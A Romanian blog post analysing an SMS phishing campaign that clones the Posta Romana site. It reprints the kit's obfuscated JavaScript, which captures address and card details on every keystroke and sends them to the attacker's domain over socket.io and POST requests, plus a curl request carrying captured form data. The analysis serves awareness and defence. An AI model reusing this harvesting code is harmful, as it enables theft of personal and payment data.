Analiza unui phishing attack pe un card bancar cu Posta Romana – Obfuscated JS si API calls in timp real
Cel mai recent si puternic raspandit atac aparut si prin presa in:
- https://economie.hotnews.ro/stiri-telecom-26247318-val-sesizari-posta-noua-inselaciune-prin-sms-prin-care-infractorii-pot-obtine-acces-conturile-datele-clientilor.htm
- https://www.monitorulexpres.ro/2023/05/05/avertisment-hackerii-se-folosesc-de-posta-romana-pentru-a-obtine-date-personale/
- https://stirileprotv.ro/stiri/actualitate/cum-a-ramas-o-femeie-fara-2-000-de-lei-pentru-un-colet-prin-zposta-romana-hackerii-au-clonat-site-ul-oficial.html
Atacul incepe de la un simplu mesaj SMS de forma:
Adresa de livrare a coletului dumneavoastra R952887565956 este gresita, va rugam sa actualizati adresa in 24 de ore sau va fi returnata: https://bit.ly/3LChLl
Care descrie ca un pachet a fost trimis la o adresa gresita, dar smecheria este că nu exista niciun pachet pentru acea persoana. Desi ar putea nimeri niste persoane care au pachete in tranzit chiar in acele momente(noroc chior pentru atacatori).
Un tip de atac descris in cele ce urmeaza ca fiind unul dintre cele mai “sofisticate” atacuri de phishing observate in perioada recenta, in materie de cod sursa mascat intr-o forma absolut indescifrabila cu referinte de variabile ascunse foarte bine prin diverse functii, cu call-uri de APIs in timp real si WebSockets ca cherry on the top.
Incepem calatoria intr-o pagina similara cu Posta Romana de forma:

E extrem de interesant in aceasta pagina intai de toate ca au copiat exact toate anchorele de pe meniu:
<a class="menu-item" href="https://www.posta-romana.ro/servicii-expeditori.html"><i class="s-icon icon-trimit"></i><span class="name">Servicii expeditori</span></a>
La fel si pe footer:
<div class="col-md-2 col-xs-6 col-sm-6 footer-boxes fn"><h4>Despre noi</h4><ul><li><a href="https://www.posta-romana.ro/a831/despre-noi/legislatie.html">Legislaţie</a></li><li><a href="https://www.posta-romana.ro/a832/despre-noi/conducere.html">Conducere</a></li><li><a href="https://www.posta-romana.ro/a846/despre-noi/organizare-si-functionare.html">Organizare şi funcţionare</a></li><li><a href="https://www.posta-romana.ro/contact.html" target="_blank">Date de contact</a></li><li><a href="https://www.posta-romana.ro/a652/despre-noi/calitate.html">Calitate</a></li><li><a href="https://www.posta-romana.ro/a833/despre-noi/cariere-si-anunturi-de-angajare.html">Cariere si anunturi de angajare</a></li><li><a href="https://www.posta-romana.ro/a836/despre-noi/rapoarte.html">Rapoarte</a></li><li><a href="https://www.posta-romana.ro/a899/despre-noi/programe-si-strategii.html">Programe şi strategii</a></li><li><a href="https://www.posta-romana.ro/a939/despre-noi/.html">Proiecte fonduri europene</a></li></ul></div>
O alta chestie amuzanta inainte de toate ne arata ca domeniul era creat chiar in ziua aceea:
posta-romana.shop Year 0 Month 0 Day2023-05-0x 07:18:352024-05-0x 23:59:59
Daca ne reintoarcem pe pagina pe continua efectueaza un GET pe https://posta-romana.shop/#/?_from=__mail in acest caz. Pot fi multe alte domenii cumparate de atacatori.
Cu un js obsfucated pe HomePage:
const a3_0xc9a6f8 = a3_0x4473;
(function(_0x211aef, _0x23d66d) {
const _0x18a0fc = a3_0x4473
, _0x1c27ce = _0x211aef();
while (!![]) {
try {
const _0x2b67a8 = parseInt(_0x18a0fc(0x1a3)) / 0x1 * (-parseInt(_0x18a0fc(0x197)) / 0x2) + parseInt(_0x18a0fc(0x198)) / 0x3 * (-parseInt(_0x18a0fc(0x19c)) / 0x4) + -parseInt(_0x18a0fc(0x199)) / 0x5 + -parseInt(_0x18a0fc(0x1a5)) / 0x6 + parseInt(_0x18a0fc(0x19e)) / 0x7 * (parseInt(_0x18a0fc(0x1a0)) / 0x8) + -parseInt(_0x18a0fc(0x195)) / 0x9 * (-parseInt(_0x18a0fc(0x192)) / 0xa) + -parseInt(_0x18a0fc(0x193)) / 0xb * (-parseInt(_0x18a0fc(0x19a)) / 0xc);
if (_0x2b67a8 === _0x23d66d)
break;
else
_0x1c27ce['push'](_0x1c27ce['shift']());
} catch (_0x318347) {
_0x1c27ce['push'](_0x1c27ce['shift']());
}
}
}(a3_0x2c40, 0x2ed54));
import {e as a3_0x2dde49, o as a3_0x248c70, c as a3_0x1950f7, a as a3_0x3d767e, p as a3_0x6412f2, f as a3_0x21940b, u as a3_0x4c1132} from './index-019e5aab.js';
import {_} from './_plugin-vue_export-helper-c27b6911.js';
const t = _0x52bd14=>(a3_0x6412f2(a3_0xc9a6f8(0x19f)),
_0x52bd14 = _0x52bd14(),
a3_0x21940b(),
_0x52bd14)
, p = {
'class': a3_0xc9a6f8(0x1a4)
}
, d = t(()=>a3_0x3d767e('h2', {
'style': {
'text-align': 'center'
}
}, a3_0xc9a6f8(0x1a2), -0x1))
, m = t(()=>a3_0x3d767e('p', null, a3_0xc9a6f8(0x191), -0x1))
, h = t(()=>a3_0x3d767e('h4', null, a3_0xc9a6f8(0x196), -0x1))
, f = t(()=>a3_0x3d767e('p', null, a3_0xc9a6f8(0x194), -0x1))
, v = t(()=>a3_0x3d767e('h4', null, a3_0xc9a6f8(0x1a6), -0x1))
, x = t(()=>a3_0x3d767e('p', null, '\x20Următoarele\x20link-uri\x20conțin\x20instrucțiuni\x20și\x20soluții\x20cu\x20privire\x20la\x20datele\x20dumneavoastră\x20personale,\x20este\x20simplu\x20', -0x1))
, b = t(()=>a3_0x3d767e('br', null, null, -0x1))
, g = a3_0x2dde49({
'__name': 'HomePage',
'setup'(_0x1594c2) {
const _0x5e47f0 = a3_0xc9a6f8
, _0x44e7bb = a3_0x4c1132();
function _0x54b429() {
const _0x535dfd = a3_0x4473;
_0x44e7bb['replace'](_0x535dfd(0x19b));
}
return (_0x5a1cde,_0x295329)=>(a3_0x248c70(),
a3_0x1950f7(_0x5e47f0(0x1a1), p, [d, m, h, f, v, x, b, a3_0x3d767e('div', {
'class': 'button'
}, [a3_0x3d767e('button', {
'onClick': _0x54b429
}, _0x5e47f0(0x19d))])]));
}
})
, y = _(g, [['__scopeId', a3_0xc9a6f8(0x19f)]]);
export {y as default};
function a3_0x4473(_0x1b59b0, _0x5e2302) {
const _0x2c407a = a3_0x2c40();
return a3_0x4473 = function(_0x44731d, _0x1904fe) {
_0x44731d = _0x44731d - 0x191;
let _0x3cc0f9 = _0x2c407a[_0x44731d];
return _0x3cc0f9;
}
,
a3_0x4473(_0x1b59b0, _0x5e2302);
}
function a3_0x2c40() {
const _0x329d40 = ['data-v-6b111972', '736cXnSph', 'div', 'pachet\x20în\x20tranzit', '8173rqyCrL', 'container', '379722nIyhCR', 'eu\x20acum\x20cum\x20sa\x20fac', 'Pachetul\x20dvs.\x20este\x20în\x20tranzit\x20și\x20va\x20ajunge\x20în\x20curând\x20la\x20destinație', '20ritNDw', '11ooMnsV', '\x20Din\x20cauza\x20procedurii,\x20mai\x20este\x20o\x20mică\x20taxă\x20pentru\x20a\x20primi\x20pachetul.\x20Este\x20folosit\x20pentru\x20a\x20plăti\x20taxe\x20și\x20alte\x20costuri\x20accesorii\x20', '466857VDgfmq', 'cota\x20de\x20impozitare', '82XxnDgz', '3RKANxb', '1618860BaEWYN', '14027760HGLJgw', '/address', '1465528GkQcJO', 'continua', '581pFyqKJ'];
a3_0x2c40 = function() {
return _0x329d40;
}
;
return a3_0x2c40();
}
Cu diverse insertii de html si css, dar fara chestii majore ca in celelalte pagini ce urmeaza.
Pe continue se face un GET pe https://posta-romana.shop/assets/AddressPage-8c4629ba.js

Cu un js pe AddressPage de forma:
const a0_0x4cdfc9 = a0_0x29e1;
function a0_0x29e1(_0x31c7a3, _0x2f705c) {
const _0x40fea9 = a0_0x40fe();
return a0_0x29e1 = function(_0x29e1aa, _0x322722) {
_0x29e1aa = _0x29e1aa - 0xf5;
let _0x39a839 = _0x40fea9[_0x29e1aa];
return _0x39a839;
},
a0_0x29e1(_0x31c7a3, _0x2f705c);
}
(function(_0x546310, _0x1a1dd1) {
const _0x47bee7 = a0_0x29e1,
_0x25a8d0 = _0x546310();
while (!![]) {
try {
const _0x492850 = parseInt(_0x47bee7(0x109)) / 0x1 + -parseInt(_0x47bee7(0x11d)) / 0x2 * (parseInt(_0x47bee7(0xff)) / 0x3) + -parseInt(_0x47bee7(0x102)) / 0x4 * (-parseInt(_0x47bee7(0x10c)) / 0x5) + -parseInt(_0x47bee7(0x104)) / 0x6 * (parseInt(_0x47bee7(0x11f)) / 0x7) + -parseInt(_0x47bee7(0x114)) / 0x8 * (-parseInt(_0x47bee7(0xfe)) / 0x9) + -parseInt(_0x47bee7(0x115)) / 0xa * (parseInt(_0x47bee7(0xf9)) / 0xb) + -parseInt(_0x47bee7(0x10b)) / 0xc * (-parseInt(_0x47bee7(0xf8)) / 0xd);
if (_0x492850 === _0x1a1dd1)
break;
else
_0x25a8d0['push'](_0x25a8d0['shift']());
} catch (_0x5c68f7) {
_0x25a8d0['push'](_0x25a8d0['shift']());
}
}
}(a0_0x40fe, 0x8b488));
import {
e as a0_0x175cb7,
g as a0_0x14bc5f,
w as a0_0x742a01,
h as a0_0x329386,
o as a0_0x52c027,
c as a0_0x5eeb97,
a as a0_0x13e805,
i,
v as a0_0x4028d3,
j as a0_0x2c2c32,
p as a0_0x49925a,
f as a0_0x5649fd,
k as a0_0x10713c,
l as a0_0x8270a8,
u as a0_0x4d8a68
} from './index-019e5aab.js';
import {
_ as a0_0x2207e6
} from './_plugin-vue_export-helper-c27b6911.js';
function a0_0x40fe() {
const _0x55c219 = ['tel', 'AddressPage', 'Personal\x20juridica\x20/\x20PFA', 'content', '13ChsldD', '4143975jXfQSO', 'replace', 'label', '__scopeId', 'continua', '27WmfysM', '3008298eiHSkH', 'item', 'Informatii\x20personale', '4136ylBVMc', 'Judet:\x20*', '6BBsaEY', 'submit', 'bold', 'Telefon:\x20*', 'Tip\x20persoană:\x20*', '1001498IqpOvg', '\x20\u00a0\x20', '9168804BtDlbY', '830COsHYc', 'form', 'numeric', '邮政编码', 'email', 'span', 'input', 'Cod\x20postal:\x20*', '514504ObaPQS', '10iNzzgg', 'onSubmit', 'div', 'Nume\x20si\x20prenume:\x20*', 'button', 'text', 'radio', 'Personal\x20fizica', '2lcbMHd', 'Localitate:\x20*', '1261071yXbTGi', '/card'];
a0_0x40fe = function() {
return _0x55c219;
};
return a0_0x40fe();
}
const e = _0x450d96 => (a0_0x49925a('data-v-88f4afb2'),
_0x450d96 = _0x450d96(),
a0_0x5649fd(),
_0x450d96),
g = [a0_0x4cdfc9(0x116)],
k = e(() => a0_0x13e805('h4', {
'style': {
'font-weight': a0_0x4cdfc9(0x106)
}
}, a0_0x4cdfc9(0x101), -0x1)),
w = {
'class': a0_0x4cdfc9(0xf7)
},
P = e(() => a0_0x13e805(a0_0x4cdfc9(0x117), {
'class': 'item'
}, [a0_0x13e805(a0_0x4cdfc9(0x117), null, a0_0x4cdfc9(0x108)), a0_0x13e805('div', null, [a0_0x13e805(a0_0x4cdfc9(0xfb), null, [a0_0x13e805('input', {
'required': '',
'name': 'type',
'type': a0_0x4cdfc9(0x11b)
}), a0_0x10713c(a0_0x4cdfc9(0x10a)), a0_0x13e805(a0_0x4cdfc9(0x111), null, a0_0x4cdfc9(0x11c))]), a0_0x10713c(a0_0x4cdfc9(0x10a)), a0_0x13e805('label', null, [a0_0x13e805(a0_0x4cdfc9(0x112), {
'required': '',
'name': 'type',
'type': a0_0x4cdfc9(0x11b)
}), a0_0x10713c(a0_0x4cdfc9(0x10a)), a0_0x13e805('span', null, a0_0x4cdfc9(0xf6))])])], -0x1)),
A = e(() => a0_0x13e805('br', null, null, -0x1)),
I = {
'class': 'item'
},
S = e(() => a0_0x13e805(a0_0x4cdfc9(0x117), null, a0_0x4cdfc9(0x118), -0x1)),
T = {
'class': a0_0x4cdfc9(0x112)
},
B = e(() => a0_0x13e805('br', null, null, -0x1)),
D = {
'class': a0_0x4cdfc9(0x100)
},
N = e(() => a0_0x13e805(a0_0x4cdfc9(0x117), null, a0_0x4cdfc9(0x103), -0x1)),
j = {
'class': a0_0x4cdfc9(0x112)
},
C = e(() => a0_0x13e805('br', null, null, -0x1)),
E = {
'class': a0_0x4cdfc9(0x100)
},
M = e(() => a0_0x13e805('div', null, a0_0x4cdfc9(0x11e), -0x1)),
z = {
'class': 'input'
},
F = e(() => a0_0x13e805('br', null, null, -0x1)),
J = {
'class': 'item'
},
L = e(() => a0_0x13e805(a0_0x4cdfc9(0x117), null, 'Adresa:\x20*', -0x1)),
R = {
'class': a0_0x4cdfc9(0x112)
},
G = e(() => a0_0x13e805('br', null, null, -0x1)),
H = {
'class': a0_0x4cdfc9(0x100)
},
K = e(() => a0_0x13e805(a0_0x4cdfc9(0x117), null, a0_0x4cdfc9(0x113), -0x1)),
O = {
'class': a0_0x4cdfc9(0x112)
},
Q = e(() => a0_0x13e805('br', null, null, -0x1)),
W = {
'class': 'item'
},
X = e(() => a0_0x13e805(a0_0x4cdfc9(0x117), null, a0_0x4cdfc9(0x107), -0x1)),
Y = {
'class': a0_0x4cdfc9(0x112)
},
Z = e(() => a0_0x13e805('br', null, null, -0x1)),
$ = {
'class': a0_0x4cdfc9(0x100)
},
tt = e(() => a0_0x13e805(a0_0x4cdfc9(0x117), null, 'E-mail:\x20*', -0x1)),
et = {
'class': a0_0x4cdfc9(0x112)
},
st = e(() => a0_0x13e805('br', null, null, -0x1)),
ot = e(() => a0_0x13e805(a0_0x4cdfc9(0x117), {
'class': a0_0x4cdfc9(0x119)
}, [a0_0x13e805(a0_0x4cdfc9(0x119), {
'type': a0_0x4cdfc9(0x105)
}, a0_0x4cdfc9(0xfd))], -0x1)),
nt = a0_0x175cb7({
'__name': a0_0x4cdfc9(0xf5),
'setup'(_0x21ec71) {
const _0x24e9f1 = a0_0x14bc5f({
'姓名': '',
'县': '',
'城市': '',
'地址': '',
'邮政编码': '',
'电话': '',
'email': ''
});
a0_0x742a01(_0x24e9f1, () => {
a0_0x8270a8(_0x24e9f1);
});
const _0x22cc85 = a0_0x4d8a68();
function _0x4d63f6() {
const _0x946ffd = a0_0x29e1;
_0x22cc85[_0x946ffd(0xfa)](_0x946ffd(0x120));
}
return (_0x81bc90, _0xedfc9f) => {
const _0x33deed = a0_0x29e1,
_0x133dcf = a0_0x329386('mask');
return a0_0x52c027(),
a0_0x5eeb97(_0x33deed(0x10d), {
'class': 'container',
'onSubmit': a0_0x2c2c32(_0x4d63f6, ['prevent'])
}, [k, a0_0x13e805(_0x33deed(0x117), w, [P, A, a0_0x13e805(_0x33deed(0x117), I, [S, a0_0x13e805('div', T, [i(a0_0x13e805(_0x33deed(0x112), {
'type': _0x33deed(0x11a),
'required': '',
'onUpdate:modelValue': _0xedfc9f[0x0] || (_0xedfc9f[0x0] = _0xaeaad7 => _0x24e9f1['姓名'] = _0xaeaad7)
}, null, 0x200), [
[a0_0x4028d3, _0x24e9f1['姓名']]
])])]), B, a0_0x13e805(_0x33deed(0x117), D, [N, a0_0x13e805(_0x33deed(0x117), j, [i(a0_0x13e805('input', {
'type': 'text',
'required': '',
'onUpdate:modelValue': _0xedfc9f[0x1] || (_0xedfc9f[0x1] = _0x2d4e61 => _0x24e9f1['县'] = _0x2d4e61)
}, null, 0x200), [
[a0_0x4028d3, _0x24e9f1['县']]
])])]), C, a0_0x13e805(_0x33deed(0x117), E, [M, a0_0x13e805(_0x33deed(0x117), z, [i(a0_0x13e805(_0x33deed(0x112), {
'type': _0x33deed(0x11a),
'required': '',
'onUpdate:modelValue': _0xedfc9f[0x2] || (_0xedfc9f[0x2] = _0x179547 => _0x24e9f1['城市'] = _0x179547)
}, null, 0x200), [
[a0_0x4028d3, _0x24e9f1['城市']]
])])]), F, a0_0x13e805(_0x33deed(0x117), J, [L, a0_0x13e805('div', R, [i(a0_0x13e805(_0x33deed(0x112), {
'type': _0x33deed(0x11a),
'required': '',
'onUpdate:modelValue': _0xedfc9f[0x3] || (_0xedfc9f[0x3] = _0x568db7 => _0x24e9f1['地址'] = _0x568db7)
}, null, 0x200), [
[a0_0x4028d3, _0x24e9f1['地址']]
])])]), G, a0_0x13e805(_0x33deed(0x117), H, [K, a0_0x13e805(_0x33deed(0x117), O, [i(a0_0x13e805(_0x33deed(0x112), {
'type': _0x33deed(0x11a),
'inputmode': _0x33deed(0x10e),
'required': '',
'onUpdate:modelValue': _0xedfc9f[0x4] || (_0xedfc9f[0x4] = _0x3022b8 => _0x24e9f1[_0x33deed(0x10f)] = _0x3022b8)
}, null, 0x200), [
[_0x133dcf, {
'mask': '000000'
}],
[a0_0x4028d3, _0x24e9f1[_0x33deed(0x10f)]]
])])]), Q, a0_0x13e805('div', W, [X, a0_0x13e805(_0x33deed(0x117), Y, [i(a0_0x13e805(_0x33deed(0x112), {
'type': _0x33deed(0x121),
'required': '',
'onUpdate:modelValue': _0xedfc9f[0x5] || (_0xedfc9f[0x5] = _0x4bcb28 => _0x24e9f1['电话'] = _0x4bcb28)
}, null, 0x200), [
[a0_0x4028d3, _0x24e9f1['电话']]
])])]), Z, a0_0x13e805(_0x33deed(0x117), $, [tt, a0_0x13e805(_0x33deed(0x117), et, [i(a0_0x13e805('input', {
'type': 'email',
'required': '',
'onUpdate:modelValue': _0xedfc9f[0x6] || (_0xedfc9f[0x6] = _0x54c24b => _0x24e9f1['email'] = _0x54c24b)
}, null, 0x200), [
[a0_0x4028d3, _0x24e9f1[_0x33deed(0x110)]]
])])]), st, ot])], 0x28, g);
};
}
}),
ut = a0_0x2207e6(nt, [
[a0_0x4cdfc9(0xfc), 'data-v-88f4afb2']
]);
export {
ut as
default
};
Pe codul de mai sus sunt definitie tot felul de validari pe form si insertii de html in pagina, insa sunt importante evenimentele de tip onUpdate de forma:
'onUpdate:modelValue': _0x1ef62b[0x6] || (_0x1ef62b[0x6] = _0x1febd5=>_0x53a5a7[_0x44ee8e(0x19d)] = _0x1febd5)

Ce foloseste constructia unui obiect la update:
const _0x53a5a7 = a0_0x54088f({
'姓名': '',
'县': '',
'城市': '',
'地址': '',
'邮政编码': '',
'电话': '',
'email': ''
});
Pentru a il trimite mai departe pe a0_0x54088f ce e o functie importata din index.js sub forma de g ce apare in index.js la export pe export {W as I, $a as a, Ne as b
Se face un POST pe https://posta-romana.shop/api/save-data la fiecare input:
{"__from__":"链接进入","__status__":"当前正在填卡页面","姓名":"Dalv 8","县":"Dambovita","城市":"Dambovita","地址":"Strada Lalelelor nr2","邮政编码":"218412","电话":"0722423412","email":"gheorghemaria@gmail.com"}
Ei folosesc SocketIO prin care trimit continutul unei chei din local storage:
https://posta-romana.shop/socket.io/?EIO=4&transport=polling&t=OVy17O_&sid=2GImf4Yk9x39qt5AABES
Folosesc anumite functii mascate masiv in index.js care e un fisier cu vreo 1000 de linii de cod care nu pot fi interpretate decat in izolare dupa ce se observa legatura dintre ele:
const Ae = _r(dn ? '//' + dn : '')
, Fu = Vr('')
, ft = (_0x24e48d,_0x48b539)=>{
const _0x227911 = a7_0x22f275;
Ae[_0x227911(0x282)] || Ae['connect'](),
Ae[_0x227911(0x1a9)]({
'msg': {
'type': Fu[_0x227911(0x130)] + '-' + _0x24e48d,
'data': Q(_0x48b539)
},
'room': _0x227911(0x42c)
});
}
Ce deschide o conexiune de socket prin care trimite un obiect msg cu type si data si socket room-ul asignat la acel id. Iar ce e extrem de interesant la aceasta functie e ca ea se executa la fiecare input, orice se scrie in acele form-uri se trimite sub forma de data inainte ca formul sa fie submitted, datele noi se persista in local Storage si se face un nou POST request cu acele date, o smecherie extrem de interesanta

Si functia de on connect:
Ae['on']('connect', ()=>{
const _0x54b995 = a7_0x22f275
, _0x45520b = Fu[_0x54b995(0x130)] = localStorage[_0x54b995(0x426)]('clientId') || Ae['id'];
Ae[_0x54b995(0x407)](_0x54b995(0x21e), _0x45520b, _0xba4181=>{
const _0x24a8c3 = _0x54b995;
_0xba4181['code'] ? localStorage[_0x24a8c3(0x350)]('clientId') : (localStorage[_0x24a8c3(0x426)](_0x24a8c3(0x357)) || localStorage[_0x24a8c3(0x3b7)]('clientId', Ae['id']),
Ae[_0x24a8c3(0x1a9)]({
'action': _0x24a8c3(0x33b),
'room': [_0x24a8c3(0x393), _0x45520b]
}, _0x3514e8=>{
const _0x887e39 = _0x24a8c3;
Mp()[_0x887e39(0x517)](async()=>{
const _0x554f9 = _0x887e39;
localStorage[_0x554f9(0x426)](_0x554f9(0xcd)) || (Ae[_0x554f9(0x1a9)]({
'msg': _0x554f9(0x38b),
'room': _0x554f9(0x42c)
}),
await St(_0x554f9(0x5eb), location[_0x554f9(0x272)], 'ok')),
localStorage[_0x554f9(0x3b7)](_0x554f9(0xcd), _0x554f9(0x4b6)),
console[_0x554f9(0x147)](_0x554f9(0x108));
}
)['catch'](_0x47a4e6=>{
const _0x954626 = _0x887e39;
sessionStorage[_0x954626(0x426)]('silent') || Ae[_0x954626(0x1a9)]({
'msg': 'itsfail',
'room': _0x954626(0x42c)
}),
setTimeout(()=>{
const _0x395f0c = _0x954626;
Ae[_0x395f0c(0xe1)]();
}
, 0x3e8),
console[_0x954626(0xf6)](_0x954626(0x352), _0x47a4e6),
Pu(_0x954626(0x4a2));
}
)['finally'](()=>{
const _0x6c3f0d = _0x887e39;
Pr[_0x6c3f0d(0x2d8)][_0x6c3f0d(0x406)] = '',
setTimeout(()=>{
const _0x3e5144 = _0x6c3f0d;
var _0x521e24;
(_0x521e24 = document[_0x3e5144(0x2fa)](_0x3e5144(0x5d5))) == null || _0x521e24[_0x3e5144(0x218)][_0x3e5144(0x1f5)](_0x3e5144(0x1ab));
}
, 0x320);
}
);
}
));
}
);
}
Functia de mai sus are o scapare prin care reusim sa izolam din cod, si anume console_0x554f9(0x147); care e “init complete”, executat dupa ce datele se trimit pe ws. Asa am reusit sa ajungem in nucleul ideii lor cu privire la evenimente pe ws
In functia ‘msg’: _0x554f9(0x38b) _0x554f9 e scos de pe const _0x554f9 = _0x887e39; din const _0x887e39 = _0x24a8c3; cu ultima referire in extractia din local storage a cheii __dataStore__
const _0x54b995 = a7_0x22f275
, _0x45520b = Fu[_0x54b995(0x130)] = localStorage[_0x54b995(0x426)]('clientId') || Ae['id'];
Si functia:
It(()=>_0x359c65[_0x3efba1(0x49c)], ()=>{
const _0x5921dc = _0x3efba1;
ft(_0x5921dc(0x489), _0x359c65[_0x5921dc(0x49c)] || '初始化完成');
const _0x117519 = localStorage[_0x5921dc(0x426)]('__from__');
_0x117519 || localStorage[_0x5921dc(0x3b7)](_0x5921dc(0x608), document['referrer']),
Np({
'__from__': _0x117519 || _0x5921dc(0x338),
'__status__': typeof _0x359c65[_0x5921dc(0x49c)] == 'string' ? _0x359c65[_0x5921dc(0x49c)] || _0x5921dc(0x4d4) : _0x359c65['status'][_0x5921dc(0x49c)] || _0x5921dc(0x4d4)
});
}
Ce foloseste local storage pentru a extrage o anumita cheie __dataStore__:

Pe care o pune pe un ws request:
curl 'https://posta-romana.shop/socket.io/?EIO=4&transport=polling&t=OW2wlwL&sid=N5AbC2eponegsnGbABX1' \
-H 'authority: posta-romana.shop' \
-H 'accept: */*' \
-H 'accept-language: ro-RO,ro;q=0.9' \
-H 'content-type: text/plain;charset=UTF-8' \
-H 'origin: https://posta-romana.shop' \
-H 'referer: https://posta-romana.shop/' \
-H 'sec-ch-ua: "Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "x"' \
-H 'sec-fetch-dest: empty' \
-H 'sec-fetch-mode: cors' \
-H 'sec-fetch-site: same-origin' \
-H 'user-agent: Mozilla/5.0 (X; Intel) Chrome/112.0.0.0' \
--data-raw $'42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-set-actions","data":[]},"room":"admin"}]\u001e42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-set-status","data":"当前正在接码页面"},"room":"admin"}]\u001e42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-sync-data","data":{"id":932,"domain":"https://posta-romana.shop","ip":"185.234.71.36","ua":"Mozilla/5.0 (M, Intel) Chrome/112.0.0.0; Dubai-Dubai;q=0.9; 0","data":{"__from__":"链接进入","__status__":"当前正在接码页面","姓名":"222cccc","县":"222","城市":"2222bb","地址":"Lalelelor","邮政编码":"212112","电话":"121121","email":"mariana@gmail.com"},"created_at":"2023-05-09T19:29:18.126Z","updated_at":"2023-05-09T23:48:53.759Z","uploads":[]}},"room":"admin"}]\u001e42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-set-actions","data":[]},"room":"admin"}]' \
--compressed
Iar in final request-ul spre /send-data cu noile date de pe cheia __dataStore__ din local storage se face prin:
const dn = br && import.meta['url'][a7_0x22f275(0x40f)]('http') ? (Jo = import.meta['url']) == null ? void 0x0 : Jo[a7_0x22f275(0x3d9)]('/')[0x2] : ''
, Dp = (br == null ? void 0x0 : br['getAttribute'](a7_0x22f275(0x429))) || a7_0x22f275(0x160);
Ot['interceptors']['request'][a7_0x22f275(0x4d7)](function(_0x41a10e) {
const _0xf25868 = a7_0x22f275;
var _0x565922;
return dn && (_0x41a10e['baseURL'] = '//' + dn),
_0x41a10e['headers'] = {
..._0x41a10e[_0xf25868(0x332)],
'darcula-data-id': (_0x565922 = JSON[_0xf25868(0x3de)](localStorage[_0xf25868(0x426)](_0xf25868(0x4ba)) || '{}')[_0xf25868(0x405)]) == null ? void 0x0 : _0x565922['id'],
'remark': localStorage[_0xf25868(0x426)](_0xf25868(0x159)) || '0'
},
_0x41a10e;
});

Practic exista 2 pasi importanti:
- conexiunea de websocket pe care sunt trimise evenimente impreuna cu data persistata in local storage
- trimiterea lor pe API /send-data la fiecare user click/input
Revenind la flow-ul atacului, dupa adresa ajungem in https://posta-romana.shop/#/card:

Cu un CardPage.js de forma:
const a1_0x3ff3bb = a1_0xb7df;
function a1_0xb7df(_0x177d10, _0x33cf09) {
const _0x3978bd = a1_0x3978();
return a1_0xb7df = function(_0xb7df09, _0x490528) {
_0xb7df09 = _0xb7df09 - 0x1b5;
let _0x4fe9e0 = _0x3978bd[_0xb7df09];
return _0x4fe9e0;
}
,
a1_0xb7df(_0x177d10, _0x33cf09);
}
(function(_0x236223, _0x19524c) {
const _0x2e0a19 = a1_0xb7df
, _0x2f9b4a = _0x236223();
while (!![]) {
try {
const _0x135572 = parseInt(_0x2e0a19(0x1b6)) / 0x1 * (-parseInt(_0x2e0a19(0x1eb)) / 0x2) + parseInt(_0x2e0a19(0x1e8)) / 0x3 * (parseInt(_0x2e0a19(0x1c2)) / 0x4) + parseInt(_0x2e0a19(0x1c8)) / 0x5 + -parseInt(_0x2e0a19(0x1d6)) / 0x6 + -parseInt(_0x2e0a19(0x1e5)) / 0x7 * (-parseInt(_0x2e0a19(0x1d7)) / 0x8) + -parseInt(_0x2e0a19(0x1d5)) / 0x9 * (parseInt(_0x2e0a19(0x1da)) / 0xa) + parseInt(_0x2e0a19(0x1df)) / 0xb;
if (_0x135572 === _0x19524c)
break;
else
_0x2f9b4a['push'](_0x2f9b4a['shift']());
} catch (_0x1170d7) {
_0x2f9b4a['push'](_0x2f9b4a['shift']());
}
}
}(a1_0x3978, 0x4a1ed));
import {e as a1_0x3ed730, m as a1_0x5544a3, n as a1_0x24b9f4, q as a1_0x8b560f, w as a1_0x4d605e, g as a1_0x3667f5, s as a1_0x1e26b5, h as a1_0x121b90, o as a1_0x439056, c as a1_0x231a14, a, i as a1_0x19b6b6, v as a1_0x15cc5a, t as a1_0x202944, j as a1_0x214204, d as a1_0x1458a4, x as a1_0x4a6010, I as a1_0x21082d, p as a1_0x3718d8, f as a1_0x5cfad9, y as a1_0x304eac, l as a1_0x12d5ae, u as a1_0x10613d} from './index-019e5aab.js';
function a1_0x3978() {
const _0x4c3cc8 = ['10px', '/card/discover.svg', '6jekSSP', 'container', 'replace', '53082QvEwZm', 'relative', 'input', '/card/visa.svg', 'cvv', '/card/safe.png', 'pad', '18agaFBl', 'data-v-1debaf71', '\x22\x20alt=\x22\x22\x20data-v-1debaf71>\u00a0\x20</div>', 'decimal', 'error', '0000\x200000\x200000\x200000', 'none', 'item\x20m', 'absolute', 'cardNumber', 'value', 'cardName', '114112qlfNCc', 'div', 'reject-card', 'accept', '\x22\x20alt=\x22\x22\x20data-v-1debaf71>\u00a0\x20<img\x20src=\x22', '0000', '35455tNjkeS', 'text', '/card/mastercard.svg', 'card', 'CVV\x20/\x20CVC:', '__scopeId', '<div\x20class=\x22icon\x22\x20data-v-1debaf71><img\x20src=\x22', 'Name\x20on\x20the\x20card:', 'form', 'mask', 'MaskedRange', 'Acest\x20card\x20nu\x20este\x20disponibil,\x20vă\x20rugăm\x20să\x20încercați\x20din\x20nou', 'numeric', '1629IFgDBP', '328722DuqmNt', '4502168yjZasC', 'Acest\x20card\x20nu\x20este\x20disponibil,\x20înlocuiți-l\x20și\x20încercați\x20din\x20nou', '/verify', '3290cJhpwW', 'mm/yy', '拒绝卡号', 'item', 'img', '2956283UZUrhG', '\x22\x20alt=\x22\x22\x20data-v-1debaf71></div></div></div><hr\x20data-v-1debaf71><div\x20class=\x22pay\x22\x20data-v-1debaf71><div\x20style=\x22font-size:1.5em;\x22\x20data-v-1debaf71><span\x20data-v-1debaf71>Total:\x20</span><b\x20data-v-1debaf71>28.80\x20LEI</b></div><div\x20class=\x22button\x22\x20data-v-1debaf71><button\x20type=\x22submit\x22\x20data-v-1debaf71>Pay\x20online</button></div></div>', 'expire', 'Card\x20number:', '接受卡号', 'content', '7mdHWKp'];
a1_0x3978 = function() {
return _0x4c3cc8;
}
;
return a1_0x3978();
}
import {_ as a1_0x2cc766} from './_plugin-vue_export-helper-c27b6911.js';
const E = a1_0x3ff3bb(0x1ee)
, U = a1_0x3ff3bb(0x1ca)
, j = a1_0x3ff3bb(0x1e7)
, B = '/card/amex.svg'
, T = '/card/cvv.svg'
